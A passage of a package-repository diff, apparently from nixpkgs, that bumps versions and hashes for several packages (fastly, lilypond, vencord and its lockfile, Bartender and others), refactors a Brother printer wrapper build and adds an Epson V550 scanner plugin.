b/pkgs/misc/cups/drivers/mfcj6510dwcupswrapper/default.nix index 1653ced85c5a9..4e6f37112087b 100644 --- a/pkgs/misc/cups/drivers/mfcj6510dwcupswrapper/default.nix +++ b/pkgs/misc/cups/drivers/mfcj6510dwcupswrapper/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchurl, mfcj6510dwlpr, makeWrapper}: +{ lib, stdenv, fetchurl, mfcj6510dwlpr, makeWrapper, bash }: stdenv.mkDerivation rec { pname = "mfcj6510dw-cupswrapper"; @@ -10,15 +10,15 @@ stdenv.mkDerivation rec { }; nativeBuildInputs = [ makeWrapper ]; - buildInputs = [ mfcj6510dwlpr ]; + buildInputs = [ + bash # shebang + ]; - buildPhase = '' - cd brcupsconfig - make all - cd .. - ''; + makeFlags = [ "-C" "brcupsconfig" "all" ]; installPhase = '' + runHook preInstall + TARGETFOLDER=$out/opt/brother/Printers/mfcj6510dw/cupswrapper mkdir -p $TARGETFOLDER cp PPD/brother_mfcj6510dw_printer_en.ppd $TARGETFOLDER @@ -26,7 +26,7 @@ stdenv.mkDerivation rec { cp scripts/cupswrappermfcj6510dw $TARGETFOLDER sed -i -e '26,304d' $TARGETFOLDER/cupswrappermfcj6510dw substituteInPlace $TARGETFOLDER/cupswrappermfcj6510dw \ - --replace "\$ppd_file_name" "$TARGETFOLDER/brother_mfcj6510dw_printer_en.ppd" + --replace-fail "\$ppd_file_name" "$TARGETFOLDER/brother_mfcj6510dw_printer_en.ppd" CPUSFILTERFOLDER=$out/lib/cups/filter mkdir -p $TARGETFOLDER $CPUSFILTERFOLDER @@ -37,22 +37,19 @@ stdenv.mkDerivation rec { #sed -i -e '33,40d' $CPUSFILTERFOLDER/brother_lpdwrapper_mfcj6510dw #sed -i -e '34,35d' $CPUSFILTERFOLDER/brother_lpdwrapper_mfcj6510dw #substituteInPlace $CPUSFILTERFOLDER/brother_lpdwrapper_mfcj6510dw \ - # --replace "/opt/brother/$``{device_model``}/$``{printer_model``}/lpd/filter$``{printer_model``}" \ + # --replace-fail "/opt/brother/$``{device_model``}/$``{printer_model``}/lpd/filter$``{printer_model``}" \ # "${mfcj6510dwlpr}/opt/brother/Printers/mfcj6510dw/lpd/filtermfcj6510dw" \ - # --replace "/opt/brother/Printers/$``{printer_model``}/inf/br$``{printer_model``}rc" \ + # --replace-fail "/opt/brother/Printers/$``{printer_model``}/inf/br$``{printer_model``}rc" \ # "${mfcj6510dwlpr}/opt/brother/Printers/mfcj6510dw/inf/brmfcj6510dwrc" \ - # --replace "/opt/brother/$``{device_model``}/$``{printer_model``}/cupswrapper/brcupsconfpt1" \ + # --replace-fail "/opt/brother/$``{device_model``}/$``{printer_model``}/cupswrapper/brcupsconfpt1" \ # "$out/opt/brother/Printers/mfcj6510dw/cupswrapper/brcupsconfpt1" \ - # --replace "/usr/share/cups/model/Brother/brother_" "$out/opt/brother/Printers/mfcj6510dw/cupswrapper/brother_" + # --replace-fail "/usr/share/cups/model/Brother/brother_" "$out/opt/brother/Printers/mfcj6510dw/cupswrapper/brother_" #substituteInPlace $CPUSFILTERFOLDER/brother_lpdwrapper_mfcj6510dw \ - # --replace "$``{printer_model``}" "mfcj6510dw" \ - # --replace "$``{printer_name``}" "MFCJ6510DW" - ''; + # --replace-fail "$``{printer_model``}" "mfcj6510dw" \ + # --replace-fail "$``{printer_name``}" "MFCJ6510DW" - cleanPhase = '' - cd brcupsconfpt1 - make clean - ''; + runHook postInstall + ''; meta = with lib; { homepage = "http://www.brother.com/"; diff --git a/pkgs/misc/drivers/epkowa/default.nix b/pkgs/misc/drivers/epkowa/default.nix index 460ebb8a3af0d..a2e3bd28f490c 100644 --- a/pkgs/misc/drivers/epkowa/default.nix +++ b/pkgs/misc/drivers/epkowa/default.nix @@ -99,6 +99,35 @@ let plugins = { }; meta = common_meta // { description = "Plugin to support " + passthru.hw + " scanner in sane"; }; }; + v550 = stdenv.mkDerivation rec { + pname = "iscan-perfection-v550-bundle"; + version = "2.30.4"; + + nativeBuildInputs = [ autoPatchelfHook rpm ]; + src = fetchurl { + urls = [ + "https://download2.ebz.epson.net/iscan/plugin/perfection-v550/rpm/x64/iscan-perfection-v550-bundle-${version}.x64.rpm.tar.gz" + "https://web.archive.org/web/https://download2.ebz.epson.net/iscan/plugin/perfection-v550/rpm/x64/iscan-perfection-v550-bundle-${version}.x64.rpm.tar.gz" + ]; + sha256 = "f8b3abf21354fc5b9bc87753cef950b6c0f07bf322a94aaff2c163bafcf50cd9"; + }; + installPhase = '' + cd plugins + ${rpm}/bin/rpm2cpio iscan-plugin-perfection-v550-*.x86_64.rpm | ${cpio}/bin/cpio -idmv + mkdir $out + cp -r usr/share $out + cp -r usr/lib64 $out/lib + mv $out/share/iscan $out/share/esci + mv $out/lib/iscan $out/lib/esci + ''; + passthru = { + registrationCommand = '' + $registry --add interpreter usb 0x04b8 0x013b "$plugin/lib/esci/libiscan-plugin-perfection-v550 $plugin/share/esci/esfweb.bin" + ''; + hw = "Perfection V550 Photo"; + }; + meta = common_meta // { description = "Plugin to support " + passthru.hw + " scanner in sane"; }; + }; v600 = stdenv.mkDerivation rec { pname = "iscan-gt-x820-bundle"; version = "2.30.4"; diff --git a/pkgs/misc/fastly/default.nix b/pkgs/misc/fastly/default.nix index 3a1efa9c15be2..7c6f44e097301 100644 --- a/pkgs/misc/fastly/default.nix +++ b/pkgs/misc/fastly/default.nix @@ -10,13 +10,13 @@ buildGoModule rec { pname = "fastly"; - version = "10.8.0"; + version = "10.8.4"; src = fetchFromGitHub { owner = "fastly"; repo = "cli"; rev = "refs/tags/v${version}"; - hash = "sha256-XlfTtA4jYFrs1W8pyulkqbhrRt8vS+oPB/g9/tIW8Ws="; + hash = "sha256-l81DZUWP7/rCEkE/ZPuwcnVGOcbSFKe88lfduJdygu4="; # The git commit is part of the `fastly version` original output; # leave that output the same in nixpkgs. Use the `.git` directory # to retrieve the commit SHA, and remove the directory afterwards, @@ -33,7 +33,7 @@ buildGoModule rec { "cmd/fastly" ]; - vendorHash = "sha256-sN6kJspIG3XKW71sTjINE+hoWHNbd8ZmVEXNcvuvThg="; + vendorHash = "sha256-lTpj9fZ4SJzOdLwIVZxiZCUJxHC41BvwvDOctwckO5k="; nativeBuildInputs = [ installShellFiles diff --git a/pkgs/misc/lilypond/unstable.nix b/pkgs/misc/lilypond/unstable.nix index ad2560a751cbc..5013f88dbdfc4 100644 --- a/pkgs/misc/lilypond/unstable.nix +++ b/pkgs/misc/lilypond/unstable.nix @@ -1,10 +1,10 @@ { lib, fetchurl, lilypond }: lilypond.overrideAttrs (oldAttrs: rec { - version = "2.25.12"; + version = "2.25.13"; src = fetchurl { url = "https://lilypond.org/download/sources/v${lib.versions.majorMinor version}/lilypond-${version}.tar.gz"; - hash = "sha256-6zOa+mvXN1SQYgUimdxkYQ/Eh+iaCb+FeXe/dglbHmk="; + hash = "sha256-ojoW3hq+DvgGlvWSRNk9VCooRzi5spp8o8oKqb74tmc="; }; passthru.updateScript = { diff --git a/pkgs/misc/screensavers/xlockmore/default.nix b/pkgs/misc/screensavers/xlockmore/default.nix index e82c390d56d1f..2345c3bf98721 100644 --- a/pkgs/misc/screensavers/xlockmore/default.nix +++ b/pkgs/misc/screensavers/xlockmore/default.nix @@ -3,11 +3,11 @@ stdenv.mkDerivation rec { pname = "xlockmore"; - version = "5.74"; + version = "5.75"; src = fetchurl { url = "http://sillycycle.com/xlock/xlockmore-${version}.tar.xz"; - sha256 = "sha256-SIre4GeovkMaWG4NR+9tfdhrMXaLSPBO5JLy8REWUYQ="; + sha256 = "sha256-ldDfx1w+RO2CjowSqTiS6JU28dtIr0+4thZon2hIBrg="; curlOpts = "--user-agent 'Mozilla/5.0'"; }; diff --git a/pkgs/misc/seafile-shared/default.nix b/pkgs/misc/seafile-shared/default.nix index 5add4a5b530fe..48e764b5f3e24 100644 --- a/pkgs/misc/seafile-shared/default.nix +++ b/pkgs/misc/seafile-shared/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "seafile-shared"; - version = "9.0.4"; + version = "9.0.5"; src = fetchFromGitHub { owner = "haiwen"; repo = "seafile"; rev = "v${version}"; - sha256 = "sha256-WBbJ6e2I7SGqvZo3yH8L1ZbNPkyA6zTGS12Gq186DL4="; + sha256 = "sha256-ENxmRnnQVwRm/3OXouM5Oj0fLVRSj0aOHJeVT627UdY="; }; nativeBuildInputs = [ diff --git a/pkgs/misc/tmux-plugins/default.nix b/pkgs/misc/tmux-plugins/default.nix index 9e6bf49113429..a742500d0394e 100644 --- a/pkgs/misc/tmux-plugins/default.nix +++ b/pkgs/misc/tmux-plugins/default.nix @@ -198,12 +198,12 @@ in rec { dracula = mkTmuxPlugin rec { pluginName = "dracula"; - version = "2.2.0"; + version = "2.3.0"; src = fetchFromGitHub { owner = "dracula"; repo = "tmux"; rev = "v${version}"; - sha256 = "9p+KO3/SrASHGtEk8ioW+BnC4cXndYx4FL0T70lKU2w="; + sha256 = "IrNDBRopg9lgN5AfeXbhhh+uXiWQD2bjS1sNOgOJsu4="; }; meta = with lib; { homepage = "https://draculatheme.com/tmux"; diff --git a/pkgs/misc/vencord/default.nix b/pkgs/misc/vencord/default.nix index d1398d6506279..50d62bb6cb95b 100644 --- a/pkgs/misc/vencord/default.nix +++ b/pkgs/misc/vencord/default.nix @@ -5,8 +5,8 @@ , buildWebExtension ? false }: let - version = "1.6.7"; - gitHash = "8a168bd"; + version = "1.7.0"; + gitHash = "8ccd731"; in buildNpmPackage rec { pname = "vencord"; @@ -16,7 +16,7 @@ buildNpmPackage rec { owner = "Vendicated"; repo = "Vencord"; rev = "v${version}"; - hash = "sha256-opQm0/nBt0O9iVPbLJAn5G2wPe20mhWroG0Y7ug3S7A="; + hash = "sha256-gbWmPRRLOXiLlkmcreuEkYRfY3dzrJS1dkM4/w4QmQ8="; }; ESBUILD_BINARY_PATH = lib.getExe (esbuild.overrideAttrs (final: _: { @@ -34,7 +34,7 @@ buildNpmPackage rec { npmRebuildFlags = [ "|| true" ]; makeCacheWritable = true; - npmDepsHash = "sha256-78eZrnXRZwu365mKoBonrpy1fP/chVoQ2qIOhUkdWc8="; + npmDepsHash = "sha256-uQj1dOBzMWNZoOHj2VlPJ0AX/5CSFH5Rv1Wgg4jwT2A="; npmFlags = [ "--legacy-peer-deps" ]; npmBuildScript = if buildWebExtension then "buildWeb" else "build"; npmBuildFlags = [ "--" "--standalone" "--disable-updater" ]; diff --git a/pkgs/misc/vencord/package-lock.json b/pkgs/misc/vencord/package-lock.json index ee2e842aca573..eaaec2ca45ea6 100644 --- a/pkgs/misc/vencord/package-lock.json +++ b/pkgs/misc/vencord/package-lock.json @@ -1,12 +1,12 @@ { "name": "vencord", - "version": "1.6.7", + "version": "1.7.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "vencord", - "version": "1.6.7", + "version": "1.7.0", "license": "GPL-3.0-or-later", "dependencies": { "@sapphi-red/web-noise-suppressor": "0.3.3", @@ -242,9 +242,9 @@ } }, "node_modules/@csstools/css-parser-algorithms": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-2.5.0.tgz", - "integrity": "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-2.6.0.tgz", + "integrity": "sha512-YfEHq0eRH98ffb5/EsrrDspVWAuph6gDggAE74ZtjecsmyyWpW768hOyiONa8zwWGbIWYfa2Xp4tRTrpQQ00CQ==", "dev": true, "funding": [ { @@ -283,9 +283,9 @@ } }, "node_modules/@csstools/media-query-list-parser": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-2.1.7.tgz", - "integrity": "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ==", + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-2.1.8.tgz", + "integrity": "sha512-DiD3vG5ciNzeuTEoh74S+JMjQDs50R3zlxHnBnfd04YYfA/kh2KiBCGhzqLxlJcNq+7yNQ3stuZZYLX6wK/U2g==", "dev": true, "funding": [ { @@ -301,14 +301,14 @@ "node": "^14 || ^16 || >=18" }, "peerDependencies": { - "@csstools/css-parser-algorithms": "^2.5.0", + "@csstools/css-parser-algorithms": "^2.6.0", "@csstools/css-tokenizer": "^2.2.3" } }, "node_modules/@csstools/selector-specificity": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-3.0.1.tgz", - "integrity": "sha512-NPljRHkq4a14YzZ3YD406uaxh7s0g6eAq3L9aLOWywoqe8PkYamAvtsh7KNX6c++ihDrJ0RiU+/z7rGnhlZ5ww==", + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-3.0.2.tgz", + "integrity": "sha512-RpHaZ1h9LE7aALeQXmXrJkRG84ZxIsctEN2biEUmFyKpzFM3zZ35eUMcIzZFsw/2olQE6v69+esEqU2f1MKycg==", "dev": true, "funding": [ { @@ -727,9 +727,9 @@ } }, "node_modules/@eslint/js": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.56.0.tgz", - "integrity": "sha512-gMsVel9D7f2HLkBma9VbtzZRehRogVRfbr++f06nL2vnCGCNlzOD+/MUov/F4p8myyAHspEhVobgjpX64q5m6A==", + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.0.tgz", + "integrity": "sha512-Ys+3g2TaW7gADOJzPt83SJtCDhMjndcDMFVQ/Tj9iA1BfJzFKD9mAUXT3OenpuPHbI6P/myECxRJrofUsDx/5g==", "dev": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" @@ -894,9 +894,9 @@ "dev": true }, "node_modules/@types/node": { - "version": "18.19.14", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.19.14.tgz", - "integrity": "sha512-EnQ4Us2rmOS64nHDWr0XqAD8DsO6f3XR6lf9UIIrZQpUzPVdN/oPuEzfDWNHSyXLvoGgjuEm/sPwFGSSs35Wtg==", + "version": "18.19.19", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.19.19.tgz", + "integrity": "sha512-qqV6hSy9zACEhQUy5CEGeuXAZN0fNjqLWRIvOXOwdFYhFoKBiY08VKR5kgchr90+TitLVhpUEb54hk4bYaArUw==", "dev": true, "dependencies": { "undici-types": "~5.26.4" @@ -915,9 +915,9 @@ "dev": true }, "node_modules/@types/react": { - "version": "18.2.51", - "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.51.tgz", - "integrity": "sha512-XeoMaU4CzyjdRr3c4IQQtiH7Rpo18V07rYZUucEZQwOUEtGgTXv7e6igQiQ+xnV6MbMe1qjEmKdgMNnfppnXfg==", + "version": "18.2.60", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.60.tgz", + "integrity": "sha512-dfiPj9+k20jJrLGOu9Nf6eqxm2EyJRrq2NvwOFsfbb7sFExZ9WELPs67UImHj3Ayxg8ruTtKtNnbjaF8olPq0A==", "dev": true, "dependencies": { "@types/prop-types": "*", @@ -926,9 +926,9 @@ } }, "node_modules/@types/react-dom": { - "version": "18.2.18", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.18.tgz", - "integrity": "sha512-TJxDm6OfAX2KJWJdMEVTwWke5Sc/E/RlnPGvGfS0W7+6ocy2xhDVQVh/KvC2Uf7kACs+gDytdusDSdWfWkaNzw==", + "version": "18.2.19", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.19.tgz", + "integrity": "sha512-aZvQL6uUbIJpjZk4U8JZGbau9KDeAwMfmhyWorxgBkqDIEf6ROjRozcmPIicqsUwPUjbkDfHKgGee1Lq65APcA==", "dev": true, "dependencies": { "@types/react": "*" @@ -941,9 +941,9 @@ "dev": true }, "node_modules/@types/semver": { - "version": "7.5.6", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.6.tgz", - "integrity": "sha512-dn1l8LaMea/IjDoHNd9J52uBbInB796CDffS6VdIxvqYCPSG0V0DzHp76GpaWnlhg88uYyPbXCDIowa86ybd5A==", + "version": "7.5.8", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.8.tgz", + "integrity": "sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==", "dev": true }, "node_modules/@types/yauzl": { @@ -1872,9 +1872,9 @@ "dev": true }, "node_modules/diff": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.1.0.tgz", - "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz", + "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==", "dev": true, "engines": { "node": ">=0.3.1" @@ -2306,9 +2306,9 @@ } }, "node_modules/escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", "dev": true, "engines": { "node": ">=6" @@ -2327,16 +2327,16 @@ } }, "node_modules/eslint": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.56.0.tgz", - "integrity": "sha512-Go19xM6T9puCOWntie1/P997aXxFsOi37JIHRWI514Hc6ZnaHGKY9xFhrU65RT6CcBEzZoGG1e6Nq+DT04ZtZQ==", + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.0.tgz", + "integrity": "sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==", "dev": true, "dependencies": { "@eslint-community/eslint-utils": "^4.2.0", "@eslint-community/regexpp": "^4.6.1", "@eslint/eslintrc": "^2.1.4", - "@eslint/js": "8.56.0", - "@humanwhocodes/config-array": "^0.11.13", + "@eslint/js": "8.57.0", + "@humanwhocodes/config-array": "^0.11.14", "@humanwhocodes/module-importer": "^1.0.1", "@nodelib/fs.walk": "^1.2.8", "@ungap/structured-clone": "^1.2.0", @@ -2670,9 +2670,9 @@ } }, "node_modules/fastq": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.0.tgz", - "integrity": "sha512-zGygtijUMT7jnk3h26kUms3BkSDp4IfIKjmnqI2tvx6nuBfiF1UqOxbnLfzdv+apBy+53oaImsKtMw/xYbW+1w==", + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", "dev": true, "dependencies": { "reusify": "^1.0.4" @@ -2747,9 +2747,9 @@ } }, "node_modules/flatted": { - "version": "3.2.9", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz", - "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.1.tgz", + "integrity": "sha512-X8cqMLLie7KsNUDSdzeN8FYK9rEt4Dt67OsG/DNGnYTSDBG4uFAJFBnUeiV+zCVAvwFy56IjM9sH51jVaEhNxw==", "dev": true }, "node_modules/for-in": { @@ -3052,9 +3052,9 @@ } }, "node_modules/hasown": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", - "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.1.tgz", + "integrity": "sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA==", "dev": true, "dependencies": { "function-bind": "^1.1.2" @@ -4052,9 +4052,9 @@ } }, "node_modules/postcss": { - "version": "8.4.33", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.33.tgz", - "integrity": "sha512-Kkpbhhdjw2qQs2O2DGX+8m5OVqEcbB9HRBvuYM9pgrjEFUg30A9LmXNlTAUj4S9kgtGyrMbTzVjH7E+s5Re2yg==", + "version": "8.4.35", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.35.tgz", + "integrity": "sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==", "dev": true, "funding": [ { @@ -4485,9 +4485,9 @@ } }, "node_modules/semver": { - "version": "7.5.4", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", - "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", "dev": true, "dependencies": { "lru-cache": "^6.0.0" @@ -4743,9 +4743,9 @@ } }, "node_modules/spdx-exceptions": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.4.0.tgz", - "integrity": "sha512-hcjppoJ68fhxA/cjbN4T8N6uCUejN8yFw69ttpqtBeCbF3u13n7mb31NB9jKwGTTWWnt9IbRA/mf1FprYS8wfw==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", "dev": true }, "node_modules/spdx-expression-parse": { @@ -4759,9 +4759,9 @@ } }, "node_modules/spdx-license-ids": { - "version": "3.0.16", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.16.tgz", - "integrity": "sha512-eWN+LnM3GR6gPu35WxNgbGl8rmY1AEmoMDvL/QD6zYmPWgywxWqJWNdLGT+ke8dKNWrcYgYjPpG5gbTfghP8rw==", + "version": "3.0.17", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.17.tgz", + "integrity": "sha512-sh8PWc/ftMqAAdFiBu6Fy6JUOYjqDJBJvIhpfDMyHrr0Rbp5liZqd4TjtQ/RgfLjKFZb+LMx5hpml5qOWy0qvg==", "dev": true }, "node_modules/split-string": { diff --git a/pkgs/misc/vencord/update.sh b/pkgs/misc/vencord/update.sh index 0317f695f91f7..8ba180bb6fd77 100755 --- a/pkgs/misc/vencord/update.sh +++ b/pkgs/misc/vencord/update.sh @@ -1,7 +1,9 @@ #!/usr/bin/env nix-shell -#! nix-shell -I nixpkgs=../../.. -i bash -p curl jq common-updater-scripts prefetch-npm-deps nodejs +#! nix-shell -i bash -p curl jq common-updater-scripts prefetch-npm-deps nodejs set -eou pipefail +pkgDir="$(dirname "$(readlink -f "$0")")" + tempDir=$(mktemp -d) ghTags=$(curl ${GITHUB_TOKEN:+" -u \":$GITHUB_TOKEN\""} "https://api.github.com/repos/Vendicated/Vencord/tags") @@ -15,10 +17,8 @@ npm install --legacy-peer-deps -f npmDepsHash=$(prefetch-npm-deps ./package-lock.json) popd -pushd ../../.. update-source-version vencord "${latestTag#v}" -popd -sed -E 's#\bgitHash = ".*?"#gitHash = "'"${gitHash:0:7}"'"#' -i default.nix -sed -E 's#\bnpmDepsHash = ".*?"#npmDepsHash = "'"$npmDepsHash"'"#' -i default.nix -cp "$tempDir/package-lock.json" package-lock.json +sed -E 's#\bgitHash = ".*?"#gitHash = "'"${gitHash:0:7}"'"#' -i "$pkgDir/default.nix" +sed -E 's#\bnpmDepsHash = ".*?"#npmDepsHash = "'"$npmDepsHash"'"#' -i "$pkgDir/default.nix" +cp "$tempDir/package-lock.json" "$pkgDir/package-lock.json" diff --git a/pkgs/os-specific/darwin/airbuddy/default.nix b/pkgs/os-specific/darwin/airbuddy/default.nix index 374089c5aa1ff..19c1ada4408a7 100644 --- a/pkgs/os-specific/darwin/airbuddy/default.nix +++ b/pkgs/os-specific/darwin/airbuddy/default.nix @@ -19,16 +19,8 @@ stdenvNoCC.mkDerivation (finalAttrs: { dontBuild = true; dontFixup = true; - nativeBuildInputs = [ _7zz ]; - # AirBuddy.dmg is APFS formatted, unpack with 7zz - unpackCmd = '' - runHook preUnpack - - 7zz x $src - - runHook postUnpack - ''; + nativeBuildInputs = [ _7zz ]; sourceRoot = "AirBuddy.app"; diff --git a/pkgs/os-specific/darwin/aldente/default.nix b/pkgs/os-specific/darwin/aldente/default.nix index e585d8877803d..dd81cbece3357 100644 --- a/pkgs/os-specific/darwin/aldente/default.nix +++ b/pkgs/os-specific/darwin/aldente/default.nix @@ -16,16 +16,8 @@ stdenvNoCC.mkDerivation (finalAttrs: { dontBuild = true; dontFixup = true; - nativeBuildInputs = [ _7zz ]; - # AlDente.dmg is APFS formatted, unpack with 7zz - unpackCmd = '' - runHook preUnpack - - 7zz x $src - - runHook postUnpack - ''; + nativeBuildInputs = [ _7zz ]; sourceRoot = "AlDente.app"; diff --git a/pkgs/os-specific/darwin/apple-sdk-11.0/libSystem.nix b/pkgs/os-specific/darwin/apple-sdk-11.0/libSystem.nix index 7be670425d7af..b661da75febe6 100644 --- a/pkgs/os-specific/darwin/apple-sdk-11.0/libSystem.nix +++ b/pkgs/os-specific/darwin/apple-sdk-11.0/libSystem.nix @@ -40,6 +40,7 @@ stdenvNoCC.mkDerivation { cp -d \ ${MacOSX-SDK}/usr/include/*.h \ ${MacOSX-SDK}/usr/include/*.modulemap \ + ${MacOSX-SDK}/usr/include/*.apinotes \ $out/include rm $out/include/tk*.h $out/include/tcl*.h diff --git a/pkgs/os-specific/darwin/bartender/default.nix b/pkgs/os-specific/darwin/bartender/default.nix index 4aca240cba163..011a356e54124 100644 --- a/pkgs/os-specific/darwin/bartender/default.nix +++ b/pkgs/os-specific/darwin/bartender/default.nix @@ -1,17 +1,17 @@ { lib , stdenvNoCC , fetchurl -, undmg +, _7zz }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "bartender"; - version = "4.2.21"; + version = "5.0.49"; src = fetchurl { - name = "Bartender 4.dmg"; - url = "https://www.macbartender.com/B2/updates/${builtins.replaceStrings [ "." ] [ "-" ] finalAttrs.version}/Bartender%204.dmg"; - hash = "sha256-KL4Wy8adGiYmxaDkhGJjwobU5szpW2j7ObgHyp02Dow="; + name = "Bartender ${lib.versions.major finalAttrs.version}.dmg"; + url = "https://www.macbartender.com/B2/updates/${builtins.replaceStrings [ "." ] [ "-" ] finalAttrs.version}/Bartender%20${lib.versions.major finalAttrs.version}.dmg"; + hash = "sha256-DOQLtdbwYFyRri3GBdjLfFNII65QJMvAQu9Be4ATBx0="; }; dontPatch = true; @@ -19,15 +19,15 @@ stdenvNoCC.mkDerivation (finalAttrs: { dontBuild = true; dontFixup = true; - nativeBuildInputs = [ undmg ]; + nativeBuildInputs = [ _7zz ]; - sourceRoot = "Bartender 4.app"; + sourceRoot = "Bartender ${lib.versions.major finalAttrs.version}.app"; installPhase = '' runHook preInstall - mkdir -p $out/Applications/Bartender\ 4.app - cp -R . $out/Applications/Bartender\ 4.app + mkdir -p "$out/Applications/${finalAttrs.sourceRoot}" + cp -R . "$out/Applications/${finalAttrs.sourceRoot}" runHook postInstall ''; @@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: { Bartender improves your workflow with quick reveal, search, custom hotkeys and triggers, and lots more. ''; homepage = "https://www.macbartender.com"; - changelog = "https://www.macbartender.com/Bartender4/release_notes"; + changelog = "https://www.macbartender.com/Bartender${lib.versions.major finalAttrs.version}/release_notes/"; license = with licenses; [ unfree ]; sourceProvenance = with sourceTypes; [ binaryNativeCode ]; maintainers = with maintainers; [ stepbrobd ]; diff --git a/pkgs/os-specific/darwin/hexfiend/default.nix b/pkgs/os-specific/darwin/hexfiend/default.nix index 29767a1154d5e..df81d7882d006 100644 --- 